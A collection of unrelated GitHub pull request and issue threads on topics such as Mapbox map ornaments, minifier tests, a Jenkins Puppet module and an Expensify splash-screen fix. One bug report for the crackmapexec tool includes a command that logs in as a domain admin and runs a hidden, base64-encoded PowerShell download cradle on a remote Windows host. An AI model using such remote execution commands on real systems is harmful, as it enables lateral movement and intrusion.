#3165 has been merged. please close this pull request. thanks.


Ornaments Logo, Attribution, Compass

Description
I implemented logoPosition, attributionPosition and compassEnabled for iOS on v10.
If I'm going in the correct direction I'm looking forward to implement more of those base functionalities (also for Android) as our company is looking forward to start development of a new app use v10. Really appreciate any feedback, it's my first time writing any Swift/Obj-c code, especially if I implemented in the right "place".
It seems the visibility toggles for logo and attribution were implemented for v8 but seem restricted by v10:
    /// The default value for this property is `visible`. Setting this property to `.adaptive`
    /// will lead to the same behavior as `.visible`. The attribution button will be visible
    /// as long as the map view is visible.
    /// :nodoc:
    /// Restricted API. Please contact Mapbox to discuss your use case if you intend to use this property.
    @_spi(Restricted) public var visibility: OrnamentVisibility = .visible

As far as I understand the attribution guidelines, it should only be possible to hide the attribution under certain circumstances – but I'm not sure how to implement it due to @_spi(Restricted).
Checklist

[x] I have tested this on a device/simulator for each compatible OS
[x] I formatted JS and TS files with running yarn lint:fix in the root folder
[x] I updated the documentation with running yarn generate in the root folder
[ ] I mentioned this change in CHANGELOG.md
[x] I updated the typings files (index.d.ts)
[x] I added/ updated a sample (/example)

'm not sure how to implement it due to @_spi(Restricted).

Ideally you have to import with _spi annotation. see https://github.com/apple/swift/blob/main/docs/ReferenceGuides/UnderscoredAttributes.md#_spispiname
@_spi(Restricted) import MapboxMaps.

Thanks for pointing me in the right direction! I'm now also looking into aligning the APIs of the ornament positions. Compass used to be split up into two props (position and margin) while logo and attributtion are booth positioned with only one prop (position). Should this also be a breaking change for mapbox-gl and maplibre implementations or should the alignment only happen for v10, therefore one would have to keep both typings and mark the props in the docs.

. Should this also be a breaking change for mapbox-gl and maplibre implementations or should the alignment only happen for v10, therefore one would have to keep both typings and mark the props in the docs.

I'm not really familiar with differences in v10 api in that area. I think it's fine if v10 behaves slightly differently. You can also add properties that's v10 only.

Currently there are some linting errors in the example due to some problems in the eslint config. From my side this feature is ready to implement. I will open another MR to fix the eslint setup.

After we merged #1858 I hope to see these checks pass.

I merged main, actions should now succeed @naftalibeder.

Also implemented scaleBarPosition for iOS.

Fantastic! Looks great.


chore(minifier): add all test cases for collapse_variable_declarations

closes #6227
I noticed that the implementation of collapse-variable-declarations seems incomplete and appears quite simple. Therefore, I would like to quickly add all the test cases to work on this.
Previously, I saw that DonIsaac had also submitted a related PR, but he might have been too busy to respond for a long time. I want to apologize for closing his PR.

BTW, I would like to understand why there are some discrepancies between our collapse_variable_declarations and closure-compiler. Is there a specific reason behind the decision to not join require calls for cjs-module-lexer?
https://github.com/oxc-project/oxc/blob/eacde0553e6c0b5094d8cc213e4fed6b9da01564/crates/oxc_minifier/src/ast_passes/collapse_variable_declarations.rs#L120-L131

cjs-module-lexer

it doesn't pick up the exports if you collapse them.


Make all archive options accessible for plugin type

At our organization, we are downloading plugins from our own caching
mirror, but we can't access our internal mirror through our proxy
server, and we do need to authenticate to this server.
With this change, archive (and in turn, curl) will pick up the proxy
configuration from environment variables or ~/.curlrc, including the
no_proxy setting we need. When users desire to override those, they can
still specify proxy_server directly.
For authenticating with the download server, we can pass username and
password to archive.
In our private wrapper module, we set default for the jenkins::plugin
type:
Jenkins::Plugin {
  archive_options => |
    username => $artifactory_username,
    password => $artifactory_password,
}

This works because we define the defaults and the actual resources
inside the same class. Setting defaults for types is guaranteed by
Puppet only for resources declared in the same class, so we cannot
set defaults on the archive type.
If full backwards compatibility is desired, the parameter declaration
could be changed to:
  Hash $archive_options = { 'proxy_server' => $::jenkins::proxy::url },

I'm  fine with being able to override the global proxy settings on a per jenkins::plugin basis but I'm really not keen on exposing the semantics of the archive type in the public API.  There has been already been a lot of pain in this module when trying to do backwards compatible refactoring.  I think it would make sense to eventually replace $::jenkins::proxy_host and $::jenkins::proxy_port with a single param, perhaps $::jenkins::proxy or proxy_url.  So it would make sense to add only a proxy-ish param to this type and continues to default to $::jenkins::proxy::url.

I understand your converns, but how do you propose that we ensure that login and no_proxy information for our mirror repository are passed to archive (and eventually curl)?

I believe the standard is schema://username:password@hostname:port isn't?

Specifying username and password as part of the URL might be one option, true.
We've now reconfigured our internal systems so that we can not configure a proxy for UpdateCenter, and do not need authentication to access our mirror anymore, so we don't need this change anymore.
I'd like to point out, however,  that the abstraction of voxpopuli/archive and curl is leaky when it comes to needing no_proxy env var or the $no_proxy_list parameter: when you specify $proxy_server for archive, archive will call curl with the explicit --proxy parameter, disabling all parsing of env variables and ~/.curlrc, effectively disabling any proxy exception list. This is ultimately a defect in archive, but jenkins triggers the bug by passing the parameter.

I'm going to go ahead and close this out.


Update Phabricator integration

The toggl button wasn't appearing in the workboard view because the css selectors have been updated. Details here: https://github.com/phacility/phabricator/commit/e077d2f#diff-8aa808d5f88c9da253dbd34ad07755dbL343.
This PR:

Updates css selectors for Phabricator.
Changes the location of the toggl button in tasks and revisions. Now it is placed in the actions list.

make lint finishes successfully.

Screenshots:

Phabricator:

Phacility:

Great, the workboard works really nice on your branch!
Thanks!


iOS - Login - The splash screen glitches and flashes on launch

Details

Use isSplashHidden from SplashScreenHiddenContext to prevent the rendering of both BackgroundImage (on iOS: native) and SignInHeroImage Lottie animation until the splash screen is hidden in order to prevent splash screen hide animation glitch / flash due to heavy rendering.
Fixed Issues

$ https://github.com/Expensify/App/issues/34696
PROPOSAL: https://github.com/Expensify/App/issues/34696#issuecomment-1899475797
Tests

Open the iOS:Native app
Kill the app and launch it again
Observe that the splash screen is hidding without any glitch / flash and the background image animates-in smoothly

[x] Verify that no errors appear in the JS console

Offline tests

Open the iOS:Native app
Kill the app and launch it again
Observe that the splash screen is hidding without any glitch / flash and the background image animates-in smoothly

QA Steps

Open the iOS:Native app
Kill the app and launch it again
Observe that the splash screen is hidding without any glitch / flash and the background image animates-in smoothly

[x] Verify that no errors appear in the JS console

PR Author Checklist

[x] I linked the correct issue in the ### Fixed Issues section above
[x] I wrote clear testing steps that cover the changes made in this PR

[x] I added steps for local testing in the Tests section
[x] I added steps for the expected offline behavior in the Offline steps section
[x] I added steps for Staging and/or Production testing in the QA steps section
[x] I added steps to cover failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[x] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)
[x] I tested this PR with a High Traffic account against the staging or production API to ensure there are no regressions (e.g. long loading states that impact usability).

[x] I included screenshots or videos for tests on all platforms
[x] I ran the tests on all platforms & verified they passed on:

[x] Android: Native
[x] Android: mWeb Chrome
[x] iOS: Native
[x] iOS: mWeb Safari
[x] MacOS: Chrome / Safari
[x] MacOS: Desktop

[x] I verified there are no console errors (if there's a console error not related to the PR, report it or open an issue for it to be fixed)
[x] I followed proper code patterns (see Reviewing the code)

[x] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick)
[x] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[x] I verified that comments were added to code that is not self explanatory
[x] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[x] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method

[x] If any non-english text was added/modified, I verified the translation was requested/reviewed in #expensify-open-source and it was approved by an internal Expensify engineer. Link to Slack message:

[x] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[x] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is approved by marketing by adding the Waiting for Copy label for a copy review on the original GH to get the correct copy.
[x] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[x] I verified the JSDocs style guidelines (in STYLE.md) were followed

[x] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[x] I followed the guidelines as stated in the Review Guidelines
[x] I tested other components that can be impacted by my changes (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar are working as expected)
[x] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[x] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[x] I verified that if a function's arguments changed that all usages have also been updated correctly
[x] If any new file was added I verified that:

[x] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[x] If a new CSS style is added I verified that:

[x] A similar style doesn't already exist
[x] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(theme.componentBG))

[x] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[x] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[x] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[x] If the PR modifies a component or page that can be accessed by a direct deeplink, I verified that the code functions as expected when the deeplink is used - from a logged in and logged out account.
[x] If the PR modifies the form input styles:

[x] I verified that all the inputs inside a form are aligned with each other.
[x] I added Design label so the design team can review the changes.

[x] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[x] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.

Screenshots/Videos

Android: Native
https://github.com/Expensify/App/assets/56457735/90a39140-76ae-4a46-a7ca-b71ceb154f9c

Android: mWeb Chrome
https://github.com/Expensify/App/assets/56457735/78816fa2-5aac-4c14-aa77-87c5460b5b3a

iOS: Native
https://github.com/Expensify/App/assets/56457735/ae9bb954-6439-482f-b358-ff812db7cb48

iOS: mWeb Safari
https://github.com/Expensify/App/assets/56457735/3251f253-3122-4c95-963b-52493d277823

MacOS: Chrome / Safari
https://github.com/Expensify/App/assets/56457735/3d39d602-e7b8-49d4-b7ec-f0c7353e7ac1

MacOS: Desktop
https://github.com/Expensify/App/assets/56457735/d7af6152-7d05-4ddf-afa6-b71f9211769d

Friendly bump on a review here @aimane-chnaif 🙇

are you able to test on physical iPhone?

@aimane-chnaif I can try installing the dev app on a physical device.
Will get back w/ recording of the fix on a physical iPhone.

@aimane-chnaif  Could not manage to run the dev app on iOS: Native physical device. Can you do that ?
I'm interested in how others do it.

@aimane-chnaif Friendly bump for the checklist 🙏

@aimane-chnaif No, PR was ready for review since 2 weeks ago (Jan 25th). These force pushes I keep doing every now and then are to keep sync with latest main.

It can behave differently / slower under heavy load when running it on the simulator especially when transitioning from the JS compiler loading to the init of the splash screen.
It did not happen on my side with just the editor and simulator open (minimized load).

I understand.
Well, I wasn't able to build locally on a physical device even though I tried for a few hours.
I also asked on Slack but to no avail, seems like that's not possible due to certificates.
Unless we request from a team member to perform an ad-hoc build of this PR here, before we merge if possible 👀
Otherwise I'm out of options and since this is a blocker - not sure how to move forward with this PR 🥲

@aimane-chnaif I managed to build dev on a real device using an older certificate / provisioning file I had which targets my iPhone UDID. I also added the useIsSplashHidden hook mentioned yesterday with the latest main sync.
Here's the physical device video, looks just as expected on an iPhone12 mini:

iOS: Native (physical device)
https://github.com/Expensify/App/assets/56457735/e80b2f2d-742e-4506-bc5e-0a5afe66dd20

Nope, just the hook related parts.

just kicked it off

Coming from https://expensify.slack.com/archives/C02NK2DQWUX/p1707413165519959?thread_ts=1707387197.936899&cid=C02NK2DQWUX
Looks good
https://github.com/Expensify/App/assets/108292595/c816da77-ce56-49f0-a3c4-59c8fc6aa4b9

@aimane-chnaif What is the next step here in order to move forward ? 🚀
Do we need more physical device proof that this is working as expected ?

please avoid force-push once review started

@aimane-chnaif I do this since I don't know any other way to sync w/ main without having hundreds of changes / pulling all the commits into this one. What's your flow / commands you use when doing this ?
I am asking in scenarios where main is 1000+ commits ahead and I need to sync / solve conflicts and maintain current changes instead of pulling all other commit's changes.

@aimane-chnaif I tried your method, did it work as expected ?
The Typecheck fail after the latest sync w/ main, non related to this PR:
Error: src/pages/home/report/ReportDetailsShareCodePage.tsx(9,13): error TS2741: Property 'session' is missing in type '{ report: Report; }' but required in type 'Omit<HOCProps & { session: OnyxEntry<Session>; report?: OnyxEntry<Report> | undefined; }, "currentUserPersonalDetails">'.

@aimane-chnaif Thanks for teaching me this method 🙏, I was not aware of it and used force-push until now 😓
Do you think the PR is still good to go for final approve / merge even though typecheck is failing ?

@bondydaa All good here -> ready for final review 🚀

:hand: This PR was not deployed to staging yet because QA is ongoing. It will be automatically deployed to staging after the next production release.

🚀 Deployed to production by https://github.com/thienlnam in version: 1.4.41-12 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
failure ❌

🕸 web 🕸
success ✅


REQUEST: New membership for zishen

GitHub Username
@zishen
Requirements

[X] I have reviewed the community membership guidelines
[X] I have enabled 2FA on my GitHub account
[X] I have subscribed to the Karmada mailing list
[X] I am actively contributing to 1 or more Karmada subprojects
[X] I have two sponsors that meet the sponsor requirements listed in the community membership guidelines
[X] I have spoken to my sponsors ahead of this application, and they have agreed to sponsor my application
[X] I have verified that my sponsors are from different member companies
[X] I have verified that my sponsors are a reviewer or an approver in at least one OWNERS file within one of the Karmada GitHub organizations

Sponsor 1
@whitewindmills
Sponsor 2
@chaunceyjiang
Sponsor 3
@Garrybest
Sponsor 4
@carlory
List of contributions to the Karmada project
PRs authored:

https://github.com/karmada-io/karmada/pull/3951

https://github.com/karmada-io/karmada/pull/3948

https://github.com/karmada-io/website/pull/449

https://github.com/karmada-io/karmada/pull/3832

https://github.com/karmada-io/karmada/pull/3792

https://github.com/karmada-io/karmada/pull/3705

https://github.com/karmada-io/karmada/pull/3613

https://github.com/karmada-io/karmada/pull/3575

https://github.com/karmada-io/karmada/pull/3547

https://github.com/karmada-io/karmada/pull/4002

https://github.com/karmada-io/karmada/pull/3992

https://github.com/karmada-io/karmada/pull/3983

https://github.com/karmada-io/karmada/pull/3975
Issues authored:

https://github.com/karmada-io/karmada/issues/448

https://github.com/karmada-io/karmada/issues/3628

Issues responsed:

https://github.com/karmada-io/karmada/issues/3960
https://github.com/karmada-io/karmada/issues/3945
https://github.com/karmada-io/karmada/issues/3869
https://github.com/karmada-io/karmada/issues/3793
https://github.com/karmada-io/karmada/issues/379
https://github.com/karmada-io/karmada/issues/3435
https://github.com/karmada-io/karmada/issues/3430

PR responsed:

https://github.com/karmada-io/karmada/pull/3947
https://github.com/karmada-io/karmada/pull/3910
https://github.com/karmada-io/karmada/pull/3841
https://github.com/karmada-io/karmada/pull/3837
https://github.com/karmada-io/karmada/pull/3822
https://github.com/karmada-io/karmada/pull/3802
https://github.com/karmada-io/karmada/pull/3780
https://github.com/karmada-io/karmada/pull/3694
https://github.com/karmada-io/karmada/pull/363
https://github.com/karmada-io/karmada/pull/3578
https://github.com/karmada-io/karmada/pull/3535
https://github.com/karmada-io/karmada/pull/3511
https://github.com/karmada-io/karmada/pull/3434
https://github.com/karmada-io/karmada/pull/3418

@whitewindmills @chaunceyjiang @Garrybest @carlory
PTAL

+1

👍

+1, welcome to Karmada👏🏻

/assign @kevin-wangzefeng


(maint) Pessimistically pin to beaker 2.9.0

Without this patch puppetserver is pinned to a specific GIT sha of beaker.
This is a problem because using a Git checkout has the side effect of transient
false positive failures as described in QENG-2138.  This patch addresses the
problem by updating the dependency expression to so-called pessimistic
dependency that pins beaker to released versions installed via rubygems, not
git, in the 2.9.x series.

:+1:

:+1:


Domain admin successful execution on PC but with NameError thrown

python crackmapexec.py -t 8 -u USERNAME -p PASSW -d DOMAIN --execm smbexec -x 'powershell.exe -nop -nonl -W Hidden -Enc JAB3AGMAPQBOAGUAdwAtAE8AQgBqAEUAQwBUACAAUwBZAFMAdABlAE0ALgBOAEUAVAAuAFcAZQA7ACAAVwBPAFcANgA0ADsAIABUAHIAaQBkAGUAAOwAgAHIAdgA6ADEAMQAu... ... etc.' <IP_ADDRESS>
[*] <IP_ADDRESS>:445 is running Windows 6.1 Build 7601 (name: PC) (domain: DOMAIN)
[+] <IP_ADDRESS>:445 Login successful DOMAIN\USERNAME:PASSW
Traceback (most recent call last):
File "/usr/lib/python2.7/dist-packages/gevent/greenlet.py", line 327, in run
result = self._run(*self.args, **self.kwargs)
File "crackmapexec.py", line 3118, in connect
result = executer.run(host)
File "crackmapexec.py", line 2259, in run
smb_server = SMBServer()
NameError: global name 'SMBServer' is not defined
<Greenlet at 0x7f496f0c6cd0: connect('<IP_ADDRESS>')> failed with NameError
** FYI the IP (<IP_ADDRESS> in example above) had both netbios and dns name defined.
commit is 9d15d52df1c42e589ead04b71d0f570baee2dd60

@jaredbarez I'm currently in the process if rewriting the tool from scratch, should be done by the end of this weeked

@jaredbarez new version just dropped, this should be fixed


Check i2c

imu locks up. Also, i'm not to sure where to put set axis with tare, and software reset.


NOT GOOD About section for Tablet size 768px

Is there an existing issue for this?

[X] I have searched the existing issues

Feature Description

Use Case
This should be fixed to have better readability on all screen
Benefits
No response
Add ScreenShots
No response
Priority
High
Record

[X] I have read the Contributing Guidelines
[X] I'm a GSSOC'24 contributor
[X] I have starred the repository

fix the responsiveness in 786px only


Remove .NET 5 testing and consolidate TFMs

These changes:

remove .NET 5 from the testing matrix (just as #2086 did for main, with an additional change to not install .NET 5)
consolidate the TFM specification in the cross-targeting projects (just as #1352 did for main, but only an applicable subset)

The result is that .NET 5 is no longer tested (it is out of support), build times should be incrementally faster, and full test runs should be much faster.

/backport to release/6.2

/backport to release/6.1


fix(blobstore-fs): Fixes missing import

Not quite sure how the original PR passed tests, but we were missing an import. This should fix the issue

Not quite sure how the original PR passed tests, but we were missing an import. This should fix the issue

That's a known drawback of the way GitHub handles merges and CI - since the PR was based on a version of main, where trace was imported - CI passed, but since then main changed and trace import was removed, however the CI was not run on that new main state.
The only way to avoid these kind of issues is to use a merge bot or the merge queue feature https://github.com/wasmCloud/wasmCloud/issues/424


CLIModel refactor step 1 - split interfaces

This PR is for CLIModel layer refactor. The basic idea is to split the interfaces of CodeModelAz
Into different enttity related interfaces and put those interfaces and operation that operates on the same entity into the that entity specific file. Make CodeModelAz.ts and CodeModelAzTmpl.ts smaller and focus on the whole code model layer operations.

/azp run


feat(validity): add validation for min and max values #242

Alaska Airlines Pull Request
Please include a summary of the change and which issue is fixed. Please also include relevant motivation and context. List any dependencies that are required for this change.
Fixes: #242
Summary:
Please summarize the scope of the changes you have submitted, what the intent of the work is and anything that describes the before/after state of the project.
Type of change:
Please delete options that are not relevant.

[x] New capability
[x] Revision of an existing capability
[ ] Infrastructure change (automation, etc.)
[ ] Other (please elaborate)

Checklist:

[x] My update follows the CONTRIBUTING guidelines of this project
[x] I have performed a self-review of my own update

By submitting this Pull Request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
Pull Requests will be evaluated by their quality of update and whether it is consistent with the goals and values of this project. Any submission is to be considered a conversation between the submitter and the maintainers of this project and may require changes to your submission.
Thank you for your submission!
-- Auro Design System Team

@jordanjones243 The reason for the  || '' code on the setCustomValidity had to do with when datepicker was trying to get the error message text from auro-input. The process overall worked better when input didn't have it set to undefined after executing validation.

:tada: This PR is included in version 2.13.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


[TRI-1430] : Improve the OpenAI integration documentation

Closes #664
✅ Checklist

[x] I have followed every step in the contributing guide
[x] The PR title follows the convention.
[x] I ran and tested the docs site and it works properly.

Testing
I locally deployed the Docs Website using Netlify and verified all the changes.
Video Snapshot
https://github.com/triggerdotdev/trigger.dev/assets/47860497/f7c17cfa-450a-4622-b825-80acc0b84e1c

Changelog
The OpenAI Documentation has been updated such that it follows the same format as the GitHub Integration.
OpenAI Documentation is now divided into two sections.

OpenAI Overview and Authentication
OpenAI tasks
Code snippets have been added for all available OpenAI tasks that were previously not there.

Screenshots
Overview and Authentication Page

Tasks Page

This PR exactly follows the GitHub Integration format.

An overview section has been added based on the official Resend Site.
Both the Overview and Tasks pages have been separated properly.
Comments have been added to all the code blocks for better understanding.
Code snippets for all tasks have been added that were previously not there.

Please review and suggest changes, if any. Thanks.
cc: @D-K-P


add url "schema" to organism in database?

Right now, I'm hard-coding in how genes link to pseudomonas.com based on the url param schema that site expects.
Casey suggested having the url be "abstracted out" from the frontend, and put into the database itself, basically having each organism define a useful url based on systematic id or some other gene property.
Not exactly sure the technical details on how we'd design this. I also don't see it as a high priority given that so many things are already hard coded assumptions. But it's something to think about in the future.
Currently, the gene links are like this: pseudomonas.com/feature/show/?locus_tag=[SYSTEMATIC NAME] Maybe each organism could have a template just like that, like: organism: { id: 1, urlTemplate: 'somesite.com/lookup/?name=%systematicName%' }

It is doable. To make the backend more consistent, the field name in the URL schema probably should be the exact field name in the model.

When this schema field is in the database, the web API can compile the exact URL and provide it to the frontend.

adage-frontend/src/pages/gene/link.js:
'http://www.pseudomonas.com/feature/show/?locus_tag=' + gene.systematicName

Fixed by PR #44.


GUACAMOLE-1130: Limit LDAP attribute retrieval to only those required or requested

This builds on #550 by @echu2013, incorporating a couple of cleanup changes to the code that limits the retrieval of LDAP attributes to ones that are specifically required by the code or requested by the Guacamole configuration, making LDAP searches more efficient.
This closes #550.

Yeah, I'll see about applying this to users and guacConfigGroups, as well.

Okay, I've reworked this a bit, but have not tested, yet - I'll give it a go when I get a chance. I may have gone a bit overboard reworking the ConnectionService class, in particular - I can back out some of those constants and such if that's just too complicating to the code.

Okay, fixed a couple of issues and did some testing, looks clean to me.


Issues combining with flipkart's/recyclerlist

I am using this with flipkart's/recyclerlist. I am able to figure out all autoplay on visible or not, but i could change the video aspect ratio when the player remounted. i am able to set the height of the video player but the video is not automatically changing its aspect ration on changed height.
The first player with initial player mounted
https://drive.google.com/open?id=1-WM1tJZcH00vLFwQ4_RV89MhVFdyTxQJ
after that when i scroll down and came up the aspect changed as per the players previous mounted video ratio
https://drive.google.com/open?id=1rJ9BZOfp-v9bqFNSFvHuT-B4DpKgeiti
another video ex:
https://drive.google.com/open?id=1CBo06uOXcMRwpURIGvomFaHADyNXhDwZ
you can clearly see the weird aspect.
i am wondering if there is something like change video size on src changed methods or any way to manually change the aspect ratio.
BTW i have tried setting video width on the video component but it changes video player width not the actual video. and tried changing resizeMode to contain after src changed in videoplayer component but no luck.

which platform?

As of now i am only focusing on android and testing in it, but in future i need it to work on both.
The library versions are react-native-video: "4.4.1", recyclerlistview: "2.0.3"

4.4.4 introduced several fixes for android exoplayer, specially for scenarios with multiple instances, can you check that version?

Thank you, i haven't updated in some time. i will check that and let you know

NO, it doesn't help. Still having the issue

Do you have a small project reproducing the issue?

Nope, but i could do it asap. I upload it once i finish it.


hm-10

wouldn't this work with the hm-10?

Nope, at least not out of the box as the HM-10 is using a CC2541 Chip from TI, while the one in this repo is based on the Nordic Semiconductors nRF51288. Trivial to say they both use different SDKs. However it should be fairly easy to port over the code to the CC SDK.

Nope, at least not out of the box as the HM-10 is using a CC2541 Chip from TI, while the one in this repo is based on the Nordic Semiconductors nRF51288. Trivial to say they both use different SDKs. However it should be fairly easy to port over the code to the CC SDK.

I wish I could have used the hm-10 in my project https://github.com/JasonBugeja/AccordionMega_USB_Keyb However, I don't know where to start!

I cant tell from a distance either, what struck me though was this line:
"Super fast reaction rate of 0.4 seconds" [1] which would be 400ms, way above the tolerable limit of approx. 10ms for audio (Possibly related due to the fact it's communication through AT)
[1] http://www.ebay.com/itm/HM-10-CC2541-4-0-Bluetooth-to-UART-Transceiver-Module-Transparent-Serial-Port/171503648352

That sounds super-slow, not super-fast! Maybe not even worth trying... HC-06 with Hairless Midi Serial bridge did not have bad latency.  The only issue I had was having to re-pair devices often.

Indeed. In addition the HM-10s max Baud Rate seems to be 9600, the MIDI Standard specifies 31250bps. I believe the nRF8001 I used in my early experiments was capped at 9600 as well, which is a show-stopper.
Is there a decent HC-06 BLE Shield for Arduino?


Farm Management: Cannot change owner of a farm

See screenshot

I tried this on a local installation and worked ok but fails with the mentioned error on hosted 3bot

Yes I was testing on a hosted 3bot.